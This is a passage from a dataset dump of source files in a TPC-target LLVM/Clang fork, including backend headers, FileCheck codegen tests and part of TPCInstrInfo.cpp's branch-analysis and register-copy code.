ndx2[2];\n res = ndx1[2] > ndx2[2];\n\n res = ndx1[1] < (ndx1[1] - ndx2[1]);\n// FIXME: should be accepted as well.\n// res = (ndx1[1] + ndx2[1]) < (ndx1[1] - ndx2[1]);\n}\n" }, { "alpha_fraction": 0.6970138549804688, "alphanum_fraction": 0.6984704732894897, "avg_line_length": 34.649349212646484, "blob_id": "0c645dc34f0f5a42717e52385478f4af7b05e718", "content_id": "5ce9b4113956c7653fc8323dc1a8a7a2a97c3b8a", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2746, "license_type": "permissive", "max_line_length": 80, "num_lines": 77, "path": "/llvm/lib/Target/TPC/TPCVLIWPacketizer.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCVLIWPacketizer.h -------------------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef TPCVLIWPACKETIZER_H\n#define TPCVLIWPACKETIZER_H\n\n#include \"llvm/CodeGen/DFAPacketizer.h\"\n#include \"llvm/CodeGen/MachineBranchProbabilityInfo.h\"\n#include \"llvm/CodeGen/ScheduleDAG.h\"\n#include \"llvm/CodeGen/ScheduleDAGInstrs.h\"\n\nnamespace llvm {\nclass TPCPacketizerList : public VLIWPacketizerList {\n\n // Check if there is a dependence between some instruction already in this\n // packet and this instruction.\n bool Dependence;\n\nprotected:\n const MachineBranchProbabilityInfo *MBPI;\n const MachineLoopInfo *MLI;\n\nprivate:\n const TPCInstrInfo *HII;\n const TPCRegisterInfo *HRI;\n\npublic:\n // Ctor.\n TPCPacketizerList(MachineFunction &MF, MachineLoopInfo &MLI,\n AAResults *AA, const MachineBranchProbabilityInfo *MBPI);\n\n // initPacketizerState - initialize some internal flags.\n void initPacketizerState() override;\n\n // ignorePseudoInstruction - Ignore bundling of pseudo instructions.\n bool ignorePseudoInstruction(const MachineInstr &MI,\n const MachineBasicBlock *MBB) override;\n\n // isSoloInstruction - return true if instruction MI can not be packetized\n // with any other instruction, which means that MI itself is a packet.\n bool isSoloInstruction(const MachineInstr &MI) override;\n\n // isLegalToPacketizeTogether - Is it legal to packetize SUI and SUJ\n // together.\n bool isLegalToPacketizeTogether(SUnit *SUI, SUnit *SUJ) override;\n\n // isLegalToPruneDependencies - Is it legal to prune dependece between SUI\n // and SUJ.\n bool isLegalToPruneDependencies(SUnit *SUI, SUnit *SUJ) override;\n\n MachineBasicBlock::iterator addToPacket(MachineInstr &MI) override;\n void endPacket(MachineBasicBlock *MBB,\n MachineBasicBlock::iterator MI) override;\n bool shouldAddToPacket(const MachineInstr &MI) override;\n\n void unpacketizeSoloInstrs(MachineFunction &MF);\n\n void addNops(MachineBasicBlock *MBB, MachineBasicBlock::iterator MI);\n\n bool hasDeadDependence(const MachineInstr &I, const MachineInstr &J);\n bool hasControlDependence(const MachineInstr &I, const MachineInstr &J);\n bool hasTPCSpecificDependence(const MachineInstr &I, const MachineInstr &J);\n int produceLatencyHazard(const MachineInstr &I);\n int PacketNum;\n\nprotected:\n};\n} // namespace llvm\n#endif // TPCVLIWPACKETIZER_H\n\n" }, { "alpha_fraction": 0.46352940797805786, "alphanum_fraction": 0.522352933883667, "avg_line_length": 31.69230842590332, "blob_id": "fe07674b7edd0d09a53b976d4461209e6ece0fd7", "content_id": "184f55c329e8f2ff0e2a7da76a0ed9113e69e891", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 425, "license_type": "permissive", "max_line_length": 78, "num_lines": 13, "path": "/clang/test/RC99/IntrinsicsL/a_gen_addr_i.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(tensor out, int value) {\n int5 indx = { 0, 0, 0, 0, 0 };\n int __global__ *ptr = a_gen_addr_i(indx, out);\n *ptr = value;\n}\n\n// CHECK: .globl main\n// CHECK: set_indx %I[[NDX:[0-9]+]], b11111, 0x0, %SP0\n// CHECK: gen_addr %AD[[ADDR:[0-9]+]], 0x0, %I[[NDX]]\n// CHECK: st_g %AD[[ADDR]], %S0, %SP0\n// CHECK: halt\n" }, { "alpha_fraction": 0.5279187560081482, "alphanum_fraction": 0.5566835999488831, "avg_line_length": 33.764705657958984, "blob_id": "c5733e6c5bf28d1e31def13f97fe111d0e47ebe3", "content_id": "cc1f80b6d00abcfb66ba52a1a660e8cb0cc7a158", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 591, "license_type": "permissive", "max_line_length": 83, "num_lines": 17, "path": "/clang/test/RC99/pragma/pragma-pipelined-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -std=rc99 -triple tpc -S -emit-llvm -O2 %s -o - | FileCheck %s\n\nvoid main(int dest, float value, int start, int end, int stride) {\n __local__ float* res=(__local float *)dest;\n\n #pragma loop_unroll(4) pipelined\n for (int x = start; x < end; x += stride) {\n *res = value;\n value += 2.0;\n ++res;\n }\n}\n\n// CHECK: br {{.*}} !llvm.loop [[LOOP:![0-9]+]]\n// CHECK: [[LOOP]] = distinct !{[[LOOP]], [[COUNT:![0-9]+]], [[PIPELINED:![0-9]+]]}\n// CHECK: [[COUNT]] = !{!\"llvm.loop.machine.unroll.count\", i32 4}\n// CHECK: [[PIPELINED]] = !{!\"llvm.loop.pipelined\", i1 true}\n" }, { "alpha_fraction": 0.6710948944091797, "alphanum_fraction": 0.6798800230026245, "avg_line_length": 30.96575355529785, "blob_id": "7d4856ea7a359a3a999bf815fe6f0d4c5d5a0aa4", "content_id": "30ae94cd9b4cb71109a234079990a54cf581ba91", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4667, "license_type": "permissive", "max_line_length": 100, "num_lines": 146, "path": "/llvm/lib/Target/TPC/TPCSubtarget.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCSubtarget.h ---------------------------------------------------------- -===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-------------------------------------------------------------------------------===//\n//\n//===-------------------------------------------------------------------------------===//\n#ifndef TPC_SUBTARGET_H\n#define TPC_SUBTARGET_H\n\n#include \"TPCFrameLowering.h\"\n#include \"TPCISelLowering.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCRegisterInfo.h\"\n#include \"TPCSelectionDAGInfo.h\"\n#include \"llvm/CodeGen/TargetSubtargetInfo.h\"\n#include <string>\n\n#define GET_SUBTARGETINFO_HEADER\n#include \"TPCGenSubtargetInfo.inc\"\n\n//#define TPC_DISABLE_ALL_SCHED 1\n\n//#define TPC_DISABLE_POSTRA_SCHED 1\n//#define TPC_DISABLE_MISCHED 1\n//#define TPC_DISABLE_PACKETIZER 1\n//#define TPC_NOPS_AFTER_ALL 1\n\nnamespace llvm {\n\nclass StringRef;\n\n//---------------------------------------------------------------------------//\n\nclass TPCSubtarget : public TPCGenSubtargetInfo {\nprotected:\n TPCFrameLowering FrameLowering;\n TPCInstrInfo InstrInfo;\n TPCTargetLowering TLInfo;\n TPCSelectionDAGInfo TSInfo;\n\nprivate:\n InstrItineraryData InstrItins;\n bool HasBFloat16Type = false;\n bool HasCarry = false;\n bool HasPartial = false;\n bool HasMulI8 = false;\n bool HasAddr1 = false;\n bool HasAddr2 = false;\n bool HasLdVectMask = false;\n bool HasRMW = false;\n bool HasTnsrPack = false;\n bool HasGetHSRF = false;\n bool HasGaudiISA = false;\n bool HasGoyaISA = false;\n bool HasGen2Plus = false;\n\n const int DefaultBigVLMSize = 80*1024;\n const int DefaultSmallVLMSize = 16*1024;\n\n\npublic:\n TPCSubtarget(const Triple&, const std::string&, const std::string&, const TargetMachine&);\n void ParseSubtargetFeatures(StringRef, StringRef);\n bool is64Bit() const { return false; }\n\n // getInstrItins - Return the instruction itineraries based on subtarget selection.\n const InstrItineraryData *getInstrItineraryData() const override {\n return &InstrItins;\n }\n\n const TPCSelectionDAGInfo *getSelectionDAGInfo() const override {\n return &TSInfo;\n }\n const TPCFrameLowering *getFrameLowering() const override {\n return &FrameLowering;\n }\n\n const TPCTargetLowering *getTargetLowering() const override {\n return &TLInfo;\n }\n\n const TPCInstrInfo* getInstrInfo() const override {\n return &InstrInfo;\n }\n\n const TPCRegisterInfo *getRegisterInfo() const override {\n return &getInstrInfo()->getRegisterInfo();\n }\n\n bool enableSubRegLiveness() const override;\n\n // Let the DAG builder use Alias Analysis for memory disambiguation.\n bool useAA() const override { return true; }\n\n#if defined(TPC_DISABLE_MISCHED) || defined(TPC_DISABLE_ALL_SCHED)\n bool enableMachineScheduler() const override { return false; }\n#else\n bool enableMachineScheduler() const override { return true; }\n#endif\n bool enableMachineSchedDefaultSched() const override { return false; }\n#if defined(TPC_DISABLE_POSTRA_SCHED) || defined(TPC_DISABLE_ALL_SCHED)\n bool enablePostRAScheduler() const override { return false; }\n#else\n bool enablePostRAScheduler() const override { return true; }\n CodeGenOpt::Level getOptLevelToEnablePostRAScheduler() const override { return CodeGenOpt::None; }\n#endif\n class TPCDAGMutation : public ScheduleDAGMutation {\n public:\n void apply(ScheduleDAGInstrs *DAG) override;\n };\n/*\n void getPostRAMutations(\n std::vector<std::unique_ptr<ScheduleDAGMutation>> &Mutations)\n const override;\n\n void getSMSMutations(\n std::vector<std::unique_ptr<ScheduleDAGMutation>> &Mutations)\n const override;\n*/\n\n bool hasBFloat16() const { return HasBFloat16Type; }\n bool hasCarry() const { return HasCarry; }\n bool hasPartial() const { return HasPartial; }\n bool hasMulI8() const { return HasMulI8; }\n bool hasAddr1() const { return HasAddr1; }\n bool hasAddr2() const { return HasAddr2; }\n bool hasLdVectMask() const { return HasLdVectMask; }\n bool hasRMW() const { return HasRMW; }\n bool hasTnsrPack() const { return HasTnsrPack; }\n bool hasGetHSRF() const { return HasGetHSRF; }\n bool hasGaudiISA() const { return HasGaudiISA; }\n bool hasGoyaISA() const { return HasGoyaISA; }\n bool hasGen2Plus() const { return HasGen2Plus; }\n int getDefaultBigVLMSize() const { return DefaultBigVLMSize; }\n int getDefaultSmallVLMSize() const { return DefaultSmallVLMSize; }\n\n unsigned getRoundCSRAddr() const;\n unsigned getConvRoundCSRAddr() const;\n};\n\n} // namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.5268292427062988, "alphanum_fraction": 0.5804877877235413, "avg_line_length": 35.17647171020508, "blob_id": "0f48aa0d2124e60af966d5f474e3c7ca651a5d54", "content_id": "0a0d560daf2eab91cca8e921da9226091daa3fad", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 615, "license_type": "permissive", "max_line_length": 78, "num_lines": 17, "path": "/clang/test/RC99/IntrinsicsM/s_u32_udiv_step_s-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int dest, unsigned dividend, unsigned divisor) {\n uint32_t_pair_t __local *dptr = (uint32_t_pair_t __local *) dest;\n uint32_t_pair_t quot_rem = { dividend, 0 };\n quot_rem = s_u32_udiv_step_s(quot_rem, divisor, 1);\n *dptr = quot_rem;\n}\n\n// move 'dividend' to a register pair, clear remainder\n// CHECK-DAG: mov.f32 %S[[ZN:[0-9]+]], %S1\n// CHECK-DAG: mov.i32 %S[[ZNN:[0-9]+]], 0x0\n\n// CHECK: udiv_step.u32 0x1 %Z[[ZN]], %S2, %SP0\n\n// CHECK-DAG: st_l %S0, %S[[ZN]]\n// CHECK-DAG: st_l %S{{[0-9]+}}, %S[[ZNN]]\n" }, { "alpha_fraction": 0.6133787035942078, "alphanum_fraction": 0.6190476417541504, "avg_line_length": 27, "blob_id": "0a7f6a401259f266da4bacbdcd4af8d697d9cd5a", "content_id": "3edee4747cb2291b4b89428989595ae56bbe380b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1764, "license_type": "permissive", "max_line_length": 80, "num_lines": 63, "path": "/clang/tools/llvm-tpc/MemoryManager.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- MemoryManager.h -----------------------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_CLANG_TOOLS_LLVM_TPC_MEMORYMANAGER_H\n#define LLVM_CLANG_TOOLS_LLVM_TPC_MEMORYMANAGER_H\n\n#include \"llvm/Support/raw_ostream.h\"\n\nnamespace llvm {\nnamespace tpc {\n\n/// The class sets the global allocation heap as the current thread's allocation\n/// heap, in the constructor, and restores the previous in the destructor.\nclass ScopedGlobalAllocator {\n void *newHeap;\n void *oldHeap;\n\npublic:\n ScopedGlobalAllocator();\n ~ScopedGlobalAllocator();\n\n operator bool() { return newHeap != nullptr; }\n};\n\n/// A raw buffer implementation of `raw_pwrite_stream`, using the global\n/// allocation heap.\nclass GlobalBufOStream : public raw_pwrite_stream {\n char *&buf;\n unsigned &size;\n unsigned capacity;\n\n /// See raw_ostream::write_impl.\n void write_impl(const char *ptr, size_t len) override;\n\n void pwrite_impl(const char *ptr, size_t len, uint64_t offset) override {\n memcpy(buf + offset, ptr, len);\n }\n\n /// Return the current position within the stream.\n uint64_t current_pos() const override { return size; }\n\npublic:\n GlobalBufOStream(char *&buf, unsigned &size);\n ~GlobalBufOStream() override { flush(); }\n\n void reset() {\n buf = nullptr;\n size = 0;\n capacity = 0;\n }\n};\n\n} // end namespace tpc\n} // end namespace llvm\n\n#endif // LLVM_CLANG_TOOLS_LLVM_TPC_MEMORYMANAGER_H\n" }, { "alpha_fraction": 0.591659665107727, "alphanum_fraction": 0.6021073460578918, "avg_line_length": 34.72746658325195, "blob_id": "98a1f40215b7ae79de12e0bde91527ae73622fec", "content_id": "228630dac17cf5c19cb8c7b207b6ec5bc6702f25", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 101075, "license_type": "permissive", "max_line_length": 121, "num_lines": 2829, "path": "/llvm/lib/Target/TPC/TPCInstrInfo.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCInstrInfo.cpp - TPC Instruction Information ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains the TPC implementation of the TargetInstrInfo class.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCMachineScheduler.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"llvm/ADT/STLExtras.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/CodeGen/MachineFrameInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineMemOperand.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/RegisterScavenging.h\"\n#include \"llvm/CodeGen/MachineFrameInfo.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"latencies.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"TPCInstrInfo\"\n\n#define GET_INSTRINFO_CTOR_DTOR\n#define GET_INSTRMAP_INFO\n#include \"TPCGenInstrInfo.inc\"\n#include \"TPCGenDFAPacketizer.inc\"\n\nstatic cl::opt<int> TPCDefaultLatency(\"tpc-default-latency\",\n cl::Hidden, cl::ZeroOrMore, cl::init(7));\n\n// Pin the vtable to this file.\nvoid TPCInstrInfo::anchor() {}\n\n// TODO: What is the register in InstrInfo constructor for?\nTPCInstrInfo::TPCInstrInfo(TPCSubtarget &ST)\n : TPCGenInstrInfo(), RI(),\n Subtarget(ST) {\n TPCLatencyEvaluation::setDefaultLatency(TPCDefaultLatency);\n}\n\n/// isLoadFromStackSlot - If the specified machine instruction is a direct\n/// load from a stack slot, return the virtual or physical register number of\n/// the destination along with the FrameIndex of the loaded stack slot. If\n/// not, return 0. This predicate must return 0 if the instruction has\n/// any side effects other than loading from the stack slot.\nunsigned TPCInstrInfo::isLoadFromStackSlot(const MachineInstr &MI,\n int &FrameIndex) const {\n switch (MI.getOpcode()) {\n case TPC::SPILL_ARF_RESTORE:\n case TPC::SPILL_DRF_RESTORE:\n case TPC::SPILL_VRF_RESTORE:\n case TPC::SPILL_VPRF_RESTORE:\n case TPC::SPILL_IRF_RESTORE:\n case TPC::SPILL_SRF_RESTORE:\n case TPC::SPILL_ZRF_RESTORE:\n case TPC::SPILL_SPRF_RESTORE:\n FrameIndex = MI.getOperand(1).getIndex();\n return MI.getOperand(0).getReg();\n }\n return 0;\n}\n\n/// isStoreToStackSlot - If the specified machine instruction is a direct\n/// store to a stack slot, return the virtual or physical register number of\n/// the source reg along with the FrameIndex of the loaded stack slot. If\n/// not, return 0. This predicate must return 0 if the instruction has\n/// any side effects other than storing to the stack slot.\nunsigned TPCInstrInfo::isStoreToStackSlot(const MachineInstr &MI,\n int &FrameIndex) const {\n switch (MI.getOpcode()) {\n case TPC::SPILL_ARF_SAVE:\n case TPC::SPILL_DRF_SAVE:\n case TPC::SPILL_VRF_SAVE:\n case TPC::SPILL_VPRF_SAVE:\n case TPC::SPILL_IRF_SAVE:\n case TPC::SPILL_SRF_SAVE:\n case TPC::SPILL_ZRF_SAVE:\n case TPC::SPILL_SPRF_SAVE:\n FrameIndex = MI.getOperand(0).getIndex();\n return MI.getOperand(1).getReg();\n }\n return 0;\n}\n\n\nstatic void parseCondBranch(MachineInstr &LastInst, MachineBasicBlock *&Target,\n SmallVectorImpl<MachineOperand> &Cond) {\n Target = LastInst.getOperand(0).getMBB();\n Cond.push_back(MachineOperand::CreateReg(LastInst.getOperand(1).getReg(), false));\n Cond.push_back(MachineOperand::CreateImm(LastInst.getOperand(2).getImm()));\n}\n\n\nstatic bool isUnconditionalBranch(const MachineInstr &MI) {\n if (MI.getOpcode() == TPC::JMPR_u)\n return true;\n return (MI.getOpcode() == TPC::JMPR || MI.getOpcode() == TPC::JMPA) &&\n MI.getOperand(1).getReg() == TPC::SP0 &&\n MI.getOperand(2).getImm() == 0;\n}\n\n\nstatic bool isDeadBranch(const MachineInstr &MI) {\n return (MI.getOpcode() == TPC::JMPR || MI.getOpcode() == TPC::JMPA) &&\n MI.getOperand(1).getReg() == TPC::SP0 &&\n MI.getOperand(2).getImm() != 0;\n}\n\n\nstatic bool isConditionalBranch(const MachineInstr &MI) {\n return (MI.getOpcode() == TPC::JMPR || MI.getOpcode() == TPC::JMPA) &&\n MI.getOperand(1).getReg() != TPC::SP0;\n}\n\n\nstatic MachineBasicBlock *getBranchTarget(const MachineInstr &MI) {\n assert(isUnconditionalBranch(MI) || isConditionalBranch(MI));\n return MI.getOperand(0).getMBB();\n}\n\n\n/// Analyze the branching code at the end of MBB, returning true if it cannot\n/// be understood (e.g. it's a switch dispatch or isn't implemented for a\n/// target).\n///\n/// Upon success, this returns false and returns with the following information\n/// in various cases:\n///\n/// 1. If this block ends with no branches (it just falls through to its succ)\n/// just return false, leaving TBB/FBB null.\n/// 2. If this block ends with only an unconditional branch, it sets TBB to be\n/// the destination block.\n/// 3. If this block ends with an conditional branch and it falls through to\n/// an successor block, it sets TBB to be the branch destination block and a\n/// list of operands that evaluate the condition. These\n/// operands can be passed to other TargetInstrInfo methods to create new\n/// branches.\n/// 4. If this block ends with an conditional branch and an unconditional\n/// block, it returns the 'true' destination in TBB, the 'false' destination\n/// in FBB, and a list of operands that evaluate the condition. These\n/// operands can be passed to other TargetInstrInfo methods to create new\n/// branches.\n///\n/// \\param TrueBB is set to the destination if condition evaluates true (it is the\n/// nullptr if the destination is the fall-through branch);\n/// \\param FalseBB is set to the destination if condition evaluates to false (it\n/// is the nullptr if the branch is unconditional);\n/// \\Cond Cond is populated with machine operands needed to generate the branch\n/// to insert in insertBranch;\n///\n/// Note that removeBranch and insertBranch must be implemented to support\n/// cases where this method returns success.\n///\nbool TPCInstrInfo::analyzeBranch(MachineBasicBlock &MBB,\n MachineBasicBlock *&TrueBB,\n MachineBasicBlock *&FalseBB,\n SmallVectorImpl<MachineOperand> &Cond,\n bool AllowModify) const {\n TrueBB = nullptr;\n FalseBB = nullptr;\n Cond.clear();\n\n // Start from the bottom of the block and work up, examining the\n // terminator instructions.\n MachineInstr *LastTerminator = nullptr;\n MachineBasicBlock::iterator I = MBB.end();\n while (I != MBB.begin()) {\n --I;\n\n // Skip over debug values.\n if (I->isDebugValue())\n continue;\n\n // Working from the bottom, when we see a non-terminator\n // instruction, we're done.\n if (!isUnpredicatedTerminator(*I))\n break;\n\n switch (I->getOpcode()) {\n case TPC::HALTs:\n case TPC::HALTv:\n // These are barriers.\n return true;\n case TPC::LOOPiii:\n case TPC::LOOPiiip:\n case TPC::LOOPiis:\n case TPC::LOOPiisp:\n case TPC::LOOPisi:\n case TPC::LOOPisip:\n case TPC::LOOPiss:\n case TPC::LOOPissp:\n case TPC::LOOPsii:\n case TPC::LOOPsiip:\n case TPC::LOOPsis:\n case TPC::LOOPsisp:\n case TPC::LOOPssi:\n case TPC::LOOPssip:\n case TPC::LOOPsss:\n case TPC::LOOPsssp:\n\n case TPC::LOOP1iiip:\n case TPC::LOOP1iisp:\n case TPC::LOOP1isip:\n case TPC::LOOP1issp:\n case TPC::LOOP1siip:\n case TPC::LOOP1sisp:\n case TPC::LOOP1ssip:\n case TPC::LOOP1sssp:\n // Cannot analyse these instructions.\n return true;\n\n case TPC::LOOPEND:\n // Behaves like conditional branch. However we cannot form corresponding\n // conditions.\n return true;\n\n default:\n // A terminator that isn't a branch can't easily be handled\n // by this analysis.\n if (!I->isBranch()) {\n return true;\n }\n }\n\n // Handle particular case of unconditional branch with reversed polarity.\n if (isDeadBranch(*I)) {\n if (AllowModify) {\n MachineBasicBlock::iterator NewI = std::next(I);\n I->eraseFromParent();\n I = NewI;\n }\n continue;\n }\n\n // If we have found only one terminator, continue search.\n if (!LastTerminator) {\n LastTerminator = &*I;\n continue;\n }\n\n // If the first terminator is an unconditional branch, skip all subsequent\n // instructions. If AllowModify is true also delete them.\n if (isUnconditionalBranch(*I)) {\n if (AllowModify)\n LastTerminator->eraseFromParent();\n LastTerminator = &*I;\n continue;\n }\n\n // If the instruction before the first terminator is also a terminator,\n // (so we have three terminators), we don't know what sort of block this is,\n // unless the terminator before the first is an unconditional branch.\n MachineInstr *FirstTerminator = &*I;\n if (I != MBB.begin() && isUnpredicatedTerminator(*--I)) {\n if (isUnconditionalBranch(*I)) {\n if (AllowModify) {\n LastTerminator->eraseFromParent();\n FirstTerminator->eraseFromParent();\n }\n LastTerminator = &*I;\n continue;\n }\n return true;\n }\n\n // We get here if MBB is ended with two terminators, and the first one is\n // not an unconditional branch.\n\n // We process only conditional branch followed by unconditional, all other\n // cases cannot be analysed.\n if (!isUnconditionalBranch(*LastTerminator) ||\n !isConditionalBranch(*FirstTerminator))\n return true;\n\n parseCondBranch(*FirstTerminator, TrueBB, Cond);\n TrueBB = getBranchTarget(*FirstTerminator);\n FalseBB = getBranchTarget(*LastTerminator);\n return false;\n }\n\n if (!LastTerminator) {\n // This is fall-through block.\n assert(!TrueBB && !FalseBB);\n return false;\n }\n\n // Delete the branch if it's equivalent to a fall-through.\n if (MBB.isLayoutSuccessor(getBranchTarget(*LastTerminator))) {\n LastTerminator->eraseFromParent();\n assert(!TrueBB && !FalseBB);\n return false;\n }\n\n // Handle unconditional branches.\n if (isUnconditionalBranch(*LastTerminator)) {\n // TrueBlock is used to indicate the unconditional destination.\n TrueBB = getBranchTarget(*LastTerminator);\n return false;\n }\n\n // Handle conditional branches.\n if (isConditionalBranch(*LastTerminator)) {\n // Block ends with fall-through condbranch.\n parseCondBranch(*LastTerminator, TrueBB, Cond);\n return false;\n }\n\n return true; // Can't handle indirect branch.\n}\n\n\nunsigned TPCInstrInfo::insertBranch(MachineBasicBlock &MBB, MachineBasicBlock *TBB,\n MachineBasicBlock *FBB,\n ArrayRef<MachineOperand> Cond,\n const DebugLoc &DL,\n int *BytesAdded) const {\n assert(TBB && \"insertBranch must not be told to insert a fallthrough\");\n assert(!BytesAdded && \"code size not handled\");\n\n if (!FBB) {\n if (Cond.empty()) {\n // Due to a bug in TailMerging/CFG Optimization, we need to add a\n // special case handling of a predicated jump followed by an\n // unconditional jump. If not, Tail Merging and CFG Optimization go\n // into an infinite loop.\n MachineBasicBlock *NewTBB, *NewFBB;\n SmallVector<MachineOperand, 4> aCond;\n auto Term = MBB.getFirstTerminator();\n if (Term != MBB.end() && isPredicated(*Term) &&\n !analyzeBranch(MBB, NewTBB, NewFBB, aCond, false) &&\n MachineFunction::iterator(NewTBB) == ++MBB.getIterator()) {\n reverseBranchCondition(aCond);\n removeBranch(MBB);\n return insertBranch(MBB, TBB, nullptr, aCond, DL);\n }\n BuildMI(&MBB, DL, get(TPC::JMPR_u))\n .addMBB(TBB);\n } else {\n assert((Cond.size() == 2) && \"Malformed cond vector\");\n const MachineOperand &RO = Cond[0];\n unsigned Flags = getUndefRegState(RO.isUndef());\n BuildMI(&MBB, DL, get(TPC::JMPR))\n .addMBB(TBB)\n .addReg(RO.getReg(), Flags)\n .addImm(Cond[1].getImm());\n }\n return 1;\n }\n\n assert((!Cond.empty()) &&\n \"Cond. cannot be empty when multiple branchings are required\");\n const MachineOperand &RO = Cond[0];\n unsigned Flags = getUndefRegState(RO.isUndef());\n BuildMI(&MBB, DL, get(TPC::JMPR))\n .addMBB(TBB)\n .addReg(RO.getReg(), Flags)\n .addImm(Cond[1].getImm());\n BuildMI(&MBB, DL, get(TPC::JMPR_u))\n .addMBB(FBB);\n\n return 2;\n}\n\nunsigned TPCInstrInfo::removeBranch(MachineBasicBlock &MBB,\n int *BytesRemoved) const {\n MachineBasicBlock::iterator I = MBB.end();\n unsigned Count = 0;\n while (I != MBB.begin()) {\n --I;\n if (I->isDebugValue())\n continue;\n // Only removing branches from end of MBB.\n if (!I->isBranch())\n return Count;\n MBB.erase(&MBB.back());\n I = MBB.end();\n ++Count;\n }\n return Count;\n}\n\nbool TPCInstrInfo::reverseBranchCondition(\n SmallVectorImpl<MachineOperand> &Cond) const {\n if (Cond.empty())\n return true;\n assert(Cond.size() == 2);\n assert(Cond[0].isReg() && \"First entry in the cond vector must be a predicate register\");\n assert(Cond[1].isImm() && \"Second entry in the cond vector must be an immediate\");\n Cond[1].setImm(!Cond[1].getImm());\n return false;\n}\n\nvoid TPCInstrInfo::copyPhysReg(MachineBasicBlock &MBB,\n MachineBasicBlock::iterator I,\n const DebugLoc &DL, MCRegister DestReg,\n MCRegister SrcReg, bool KillSrc) const {\n const TargetRegisterInfo &TRI = getRegisterInfo();\n\n const auto CopyRegWithDataType = [&](unsigned Opc) {\n BuildMI(MBB, I, DL, get(Opc), DestReg)\n .addReg(SrcReg, getKillRegState(KillSrc))\n .addImm(TPCII::OpType::FP32)\n .addImm(0) // Switches\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n };\n\n const auto CopySubRegWithDataType = [&](unsigned Opc, unsigned SubReg) {\n unsigned SrcSubReg = TRI.getSubReg(SrcReg, SubReg);\n unsigned DestSubReg = TRI.getSubReg(DestReg, SubReg);\n BuildMI(MBB, I, DL, get(Opc), DestSubReg)\n .addReg(SrcSubReg, getKillRegState(KillSrc))\n .addImm(TPCII::OpType::FP32)\n .addImm(0) // Switches\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n };\n\n const auto CopyReg = [&](unsigned Opc) {\n BuildMI(MBB, I, DL, get(Opc), DestReg)\n .addReg(SrcReg, getKillRegState(KillSrc))\n .addImm(0) // Switches\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n };\n\n const auto CopySubReg = [&](unsigned Opc, unsigned SubReg) {\n unsigned SrcSubReg = TRI.getSubReg(SrcReg, SubReg);\n unsigned DestSubReg = TRI.getSubReg(DestReg, SubReg);\n BuildMI(MBB, I, DL, get(Opc), DestSubReg)\n .addReg(SrcSubReg, getKillRegState(KillSrc))\n .addImm(0) // Switches\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n };\n\n bool DstVRF = TPC::VRFRegClass.contains(DestReg);\n bool DstSRF = TPC::SRFRegClass.contains(DestReg);\n bool DstIRF = TPC::IRFRegClass.contains(DestReg);\n bool DstVPRF = TPC::VPRFRegClass.contains(DestReg);\n bool DstSPRF = 